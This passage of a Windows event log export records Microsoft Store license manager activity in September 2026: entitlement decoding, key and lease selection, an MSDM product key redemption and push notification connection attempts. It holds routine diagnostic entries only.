onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.825\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"200dc622-8cbd-e337-4d4b-69d2fa6e7df7\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msahwonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa6966575679381420&contentId=eee53744-2bb9-bca2-a50a-c6a1c5b0a0ed&entitlementId=200dc622-8cbd-e337-4d4b-69d2fa6e7df7&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"0f8e2cd5-b8eb-7a22-b9e9-9b1183fa0a84\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"eee53744-2bb9-bca2-a50a-c6a1c5b0a0ed\"\",\"\"packageType\"\":\"\"msix\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"9NMPJ99VJBWV\"\",\"\"skuId\"\":\"\"0010\"\"}],\"\"pollAt\"\":\"\"2026-08-04T14:54:13.8630559+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.825\t8001\t\"Updating lease timer for {7BA318A1-DC47-F731-723C-537E883DC563} to expire @ 2026-09-05T02:26:48Z (jitter was 43.630096 minutes)\nFunction: LeaseMachine::DoUpdateLeaseTimer\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\leasemachine.cpp (276)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.825\t8001\t\"Added timer for {7BA318A1-DC47-F731-723C-537E883DC563}\nFunction: MemoryTimerService::CreateTimerWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\memorytimer.cpp (57)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.825\t8011\t0x21f8312a820: 18884: {7BA318A1-DC47-F731-723C-537E883DC563}: Dispatch: Lease:AddKey => Lease:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.825\t8011\t0x21f831d3070: 3380: EEE53744-2BB9-BCA2-A50A-C6A1C5B0A0ED: Dispatch: Key:RegisterCallback => Key:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.831\t8011\t0x21f831d3070: 3380: EEE53744-2BB9-BCA2-A50A-C6A1C5B0A0ED: Dispatch: Key:Connect => Key:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.831\t8001\t\"Decoding: {\"\"legacyProductId\"\":\"\"6ead4a77-d076-4866-9188-621a5b1f414f\"\"}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.831\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"200dc622-8cbd-e337-4d4b-69d2fa6e7df7\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msahwonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa6966575679381420&contentId=eee53744-2bb9-bca2-a50a-c6a1c5b0a0ed&entitlementId=200dc622-8cbd-e337-4d4b-69d2fa6e7df7&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"0f8e2cd5-b8eb-7a22-b9e9-9b1183fa0a84\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"eee53744-2bb9-bca2-a50a-c6a1c5b0a0ed\"\",\"\"packageType\"\":\"\"msix\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"9NMPJ99VJBWV\"\",\"\"skuId\"\":\"\"0010\"\"}],\"\"pollAt\"\":\"\"2026-08-04T14:54:13.8630559+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.831\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"200dc622-8cbd-e337-4d4b-69d2fa6e7df7\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msahwonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa6966575679381420&contentId=eee53744-2bb9-bca2-a50a-c6a1c5b0a0ed&entitlementId=200dc622-8cbd-e337-4d4b-69d2fa6e7df7&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"0f8e2cd5-b8eb-7a22-b9e9-9b1183fa0a84\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"eee53744-2bb9-bca2-a50a-c6a1c5b0a0ed\"\",\"\"packageType\"\":\"\"msix\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"9NMPJ99VJBWV\"\",\"\"skuId\"\":\"\"0010\"\"}],\"\"pollAt\"\":\"\"2026-08-04T14:54:13.8630559+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.961\t16394\tOffline downlevel migration succeeded.\tInformation\tApplication\tMicrosoft-Windows-Security-SPP\n05.09.2026 08:43:11.453\t157\tThe license with Id 2da6ca43-2e6f-1f16-05ad-a9959043ddb7 has been archived successfully.  PFM if available: Microsoft.Windows.99.X20-15863_8wekyb3d8bbwe\tInformation\tMicrosoft-Client-Licensing-Platform/Admin\tMicrosoft-Client-Licensing-Platform\n05.09.2026 08:43:11.453\t116\t\"Application license successfully installed.\nPackage: Microsoft.Windows.99.X20-15863_8wekyb3d8bbwe\nUser Id (if available): NULL\nLicense Id: 2da6ca43-2e6f-1f16-05ad-a9959043ddb7\nAssociate Id: 2da6ca43-2e6f-1f16-05ad-a9959043ddb7\"\tInformation\tMicrosoft-Client-Licensing-Platform/Admin\tMicrosoft-Client-Licensing-Platform\n05.09.2026 08:43:11.459\t8001\t\"Licensing content 807d73a3-33f2-c21b-c47a-85c313d97af9\nFunction: OneStoreApplicationLicenseManager::ActivateLicenseForContent\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\onestoreapplicensemanager.cpp (410)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.459\t8001\t\"Licensing 807d73a3-33f2-c21b-c47a-85c313d97af9 (Active)\nFunction: LicenseManager::LicenseContentWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\manager.cpp (88)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.459\t8002\t\"Capturing identity for LocalSystem, this probably isn't intended\nFunction: StoredIdentity::StoredIdentity\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\identity.cpp (536)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.459\t8001\t\"0000021F831F7E00: Key Machine for content: 807d73a3-33f2-c21b-c47a-85c313d97af9\nFunction: KeyMachine::KeyMachine\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (95)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.459\t8011\t0x21f83133e68: 15996: RootMachine: Dispatch: Root:Connect => Root:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.459\t8011\t0x21f831f7e20: 15996: 807d73a3-33f2-c21b-c47a-85c313d97af9: Dispatch: Key:Activate => Key:Initial\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.459\t8001\t\"0000021F831F7E00: BeginLicense: Operation 3, CachedLeaseOK true, RequireServiceValidation false\nFunction: KeyMachine::DoBeginLicense\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (819)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.459\t8012\t0x21f831f7e20: 15996: Key:Initial Change: Key:NegotiatingUnleased => 807d73a3-33f2-c21b-c47a-85c313d97af9\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.461\t8001\t\"Considering License ID {2DA6CA43-2E6F-1F16-05AD-A9959043DDB7} for content ID 807d73a3-33f2-c21b-c47a-85c313d97af9...\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (192)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.461\t8001\t\"Accepting key with License ID {2DA6CA43-2E6F-1F16-05AD-A9959043DDB7} for Content ID 807d73a3-33f2-c21b-c47a-85c313d97af9 (first match)\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (223)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.461\t8001\t\"Considering License ID {8CB56148-398C-A7C4-98F2-6FDC89C2093D} for content ID 807d73a3-33f2-c21b-c47a-85c313d97af9...\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (192)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.461\t8001\t\"Ignoring key for 807d73a3-33f2-c21b-c47a-85c313d97af9 with quality fffffff (0xc0ea0009) (no better than best)\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (251)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.461\t8001\t\"Considering License ID {BDBB3CA5-594E-7337-A093-A9860F553465} for content ID 807d73a3-33f2-c21b-c47a-85c313d97af9...\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (192)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.461\t8001\t\"Decoding: {}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.461\t8001\t\"Accepting key with License ID {BDBB3CA5-594E-7337-A093-A9860F553465} for Content ID 807d73a3-33f2-c21b-c47a-85c313d97af9 (better quality: 7f000000 vs 1fffffff)\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (229)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.461\t8001\t\"Returning key document for contentid 807d73a3-33f2-c21b-c47a-85c313d97af9\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (262)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.461\t8001\t\"Getting lease for 807d73a3-33f2-c21b-c47a-85c313d97af9\nFunction: LicenseManagerCore::GetExistingLeaseAndLicense\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\managercore.cpp (415)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.463\t8001\t\"Ignoring otherwise matching lease ({33B013F2-4858-241D-9000-CA9374B3ADB5}) for Content ID 807D73A3-33F2-C21B-C47A-85C313D97AF9 because of quality 268435455 (0xc0ea000a)\nFunction: ClipStorage::GetLeaseDocumentsForKeyDocument\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (396)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.463\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"d529c25ce2dd4d20984a9fb8aa485213\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msahwonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa6966592751892763&contentId=807d73a3-33f2-c21b-c47a-85c313d97af9&entitlementId=d529c25ce2dd4d20984a9fb8aa485213&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"bdbb3ca5-594e-7337-a093-a9860f553465\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"807d73a3-33f2-c21b-c47a-85c313d97af9\"\",\"\"packageType\"\":\"\"OS\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"BF712690PL09\"\",\"\"skuId\"\":\"\"0001\"\"}],\"\"pollAt\"\":\"\"2026-09-11T13:58:38.2670819+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.463\t8001\t\"Adding lease {AE9143F3-8179-89B2-A3AF-FFC1D366D1AE} to results\nFunction: ClipStorage::GetLeaseDocumentsForKeyDocument\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (387)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.463\t8001\t\"Returning 1 lease documents for contentid 807D73A3-33F2-C21B-C47A-85C313D97AF9\nFunction: ClipStorage::GetLeaseDocumentsForKeyDocument\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (460)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.463\t8001\t\"lease = 0x831ac3b8, usage = 536870912, policy = 2147483647, operation = 3, leaseBehavior = 0, shouldContentBeDeactivated = 0\nFunction: KeyMachine::DoLicenseThreadProc\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (905)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.463\t8001\t\"lease = 0x831ac3b8, quality = 1073741824\nFunction: KeyMachine::DoLicenseThreadProc\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (935)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.463\t8001\t\"content is alreadyLicensed, lease is cached\nFunction: KeyMachine::DoLicenseThreadProc\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (942)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.463\t8011\t0x21f831f7e20: 15996: 807d73a3-33f2-c21b-c47a-85c313d97af9: Dispatch: Key:@LicenseDone => Key:NegotiatingUnleased\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.465\t8002\t\"Failure Message: hr: 0x80070490\nFunction: \nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\misc.cpp (49)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.465\t8001\t\"lease = 0x831ac3b8, leaseActive = 1, leaseBehavior = 0\nFunction: KeyMachine::NegotiatingUnleased::LicenseDone\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (1986)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.465\t8001\t\"Lease Machine: 0000021F8312B200: {2CE050AC-4159-AABB-AC60-9CED070AF672}\nFunction: LeaseMachine::LeaseMachine\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\leasemachine.cpp (40)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.465\t8001\t\"Set results for lease = 0x831ac3b8, policy = 2147483647, operation = 3, Leasebehavior = 0\nFunction: KeyMachine::DoSetResult\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (1520)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.465\t8011\t0x21f8312b220: 18884: {2CE050AC-4159-AABB-AC60-9CED070AF672}: Dispatch: Lease:UpdateLeaseDocument => Lease:Initial\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.465\t8012\t0x21f8312b220: 18884: Lease:Initial Change: Lease:Valid => {2CE050AC-4159-AABB-AC60-9CED070AF672}\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.465\t8001\t\"No cached lease or key found, not renewing with service and treating this as a valid license with lease = 0x831ac3b8\nFunction: KeyMachine::NegotiatingUnleased::LicenseDone\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (2032)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.465\t8012\t0x21f831f7e20: 15996: Key:NegotiatingUnleased Change: Key:Valid => 807d73a3-33f2-c21b-c47a-85c313d97af9\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.465\t8001\t\"Decoding: {}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.465\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"d529c25ce2dd4d20984a9fb8aa485213\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msahwonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa6966592751892763&contentId=807d73a3-33f2-c21b-c47a-85c313d97af9&entitlementId=d529c25ce2dd4d20984a9fb8aa485213&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"bdbb3ca5-594e-7337-a093-a9860f553465\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"807d73a3-33f2-c21b-c47a-85c313d97af9\"\",\"\"packageType\"\":\"\"OS\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"BF712690PL09\"\",\"\"skuId\"\":\"\"0001\"\"}],\"\"pollAt\"\":\"\"2026-09-11T13:58:38.2670819+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.465\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"d529c25ce2dd4d20984a9fb8aa485213\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msahwonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa6966592751892763&contentId=807d73a3-33f2-c21b-c47a-85c313d97af9&entitlementId=d529c25ce2dd4d20984a9fb8aa485213&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"bdbb3ca5-594e-7337-a093-a9860f553465\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"807d73a3-33f2-c21b-c47a-85c313d97af9\"\",\"\"packageType\"\":\"\"OS\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"BF712690PL09\"\",\"\"skuId\"\":\"\"0001\"\"}],\"\"pollAt\"\":\"\"2026-09-11T13:58:38.2670819+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.465\t8011\t0x21f831f7e20: 3380: 807d73a3-33f2-c21b-c47a-85c313d97af9: Dispatch: Key:RegisterCallback => Key:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.465\t8001\t\"Updating lease timer for {2CE050AC-4159-AABB-AC60-9CED070AF672} to expire @ 2026-09-11T13:58:38Z (jitter was 32.544819 minutes)\nFunction: LeaseMachine::DoUpdateLeaseTimer\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\leasemachine.cpp (276)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.465\t8001\t\"Added timer for {2CE050AC-4159-AABB-AC60-9CED070AF672}\nFunction: MemoryTimerService::CreateTimerWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\memorytimer.cpp (57)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.465\t8011\t0x21f8312b220: 18884: {2CE050AC-4159-AABB-AC60-9CED070AF672}: Dispatch: Lease:AddKey => Lease:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.465\t8011\t0x21f831f7e20: 18884: 807d73a3-33f2-c21b-c47a-85c313d97af9: Dispatch: Key:Unregistered => Key:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.465\t8001\t\"Lease dropped\nFunction: KeyMachine::DoDropLease\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (279)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.465\t8012\t0x21f831f7e20: 18884: Key:Valid Change: Key:Invalid => 807d73a3-33f2-c21b-c47a-85c313d97af9\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.465\t8011\t0x21f8312b220: 15996: {2CE050AC-4159-AABB-AC60-9CED070AF672}: Dispatch: Lease:RemoveKey => Lease:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.465\t8011\t0x21f8312b220: 15996: {2CE050AC-4159-AABB-AC60-9CED070AF672}: Dispatch: Lease:Unregistered => Lease:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.465\t8001\t\"Set results for lease = 0x0, policy = 0, operation = 0, Leasebehavior = 0\nFunction: KeyMachine::DoSetResult\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (1520)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.465\t8012\t0x21f8312b220: 15996: Lease:Valid Change: Lease:Invalid => {2CE050AC-4159-AABB-AC60-9CED070AF672}\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.465\t8001\t\"Requesting lease document removal for reason 0x00000000, {2CE050AC-4159-AABB-AC60-9CED070AF672}\nFunction: LicenseManagerCore::DoRemoveLeaseDocumentWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\managercore.cpp (1460)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.466\t173\tProduct key from MSDM table redeemed. Result: 0x0\tInformation\tMicrosoft-Client-Licensing-Platform/Admin\tMicrosoft-Client-Licensing-Platform\n05.09.2026 08:43:11.466\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"d529c25ce2dd4d20984a9fb8aa485213\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msahwonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa6966592751892763&contentId=807d73a3-33f2-c21b-c47a-85c313d97af9&entitlementId=d529c25ce2dd4d20984a9fb8aa485213&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"bdbb3ca5-594e-7337-a093-a9860f553465\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"807d73a3-33f2-c21b-c47a-85c313d97af9\"\",\"\"packageType\"\":\"\"OS\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"BF712690PL09\"\",\"\"skuId\"\":\"\"0001\"\"}],\"\"pollAt\"\":\"\"2026-09-11T13:58:38.2670819+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.466\t8001\t\"Ignoring lease removal with reason 0x00000000 because this is an offline lease\n\nFunction: ClipStorage::RemoveLeaseDocumentWithIdAndReason\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (501)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.466\t8002\t\"Trying to remove timer {2CE050AC-4159-AABB-AC60-9CED070AF672} not in table\nFunction: MemoryTimerService::CancelTimerWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\memorytimer.cpp (80)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:11.466\t8001\t\"Removed timer for {2CE050AC-4159-AABB-AC60-9CED070AF672}\nFunction: MemoryTimerService::CleanupTimer\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\memorytimer.cpp (19)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:12.007\t217\tDestroyed Desktop AppX container {245CDD4B-A8C9-11F1-B7FF-289200F24A99} for package MSTeams_26093.415.4620.1935_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:43:19.502\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:43:19.502\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:43:19.523\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:43:19.523\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:43:19.885\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous 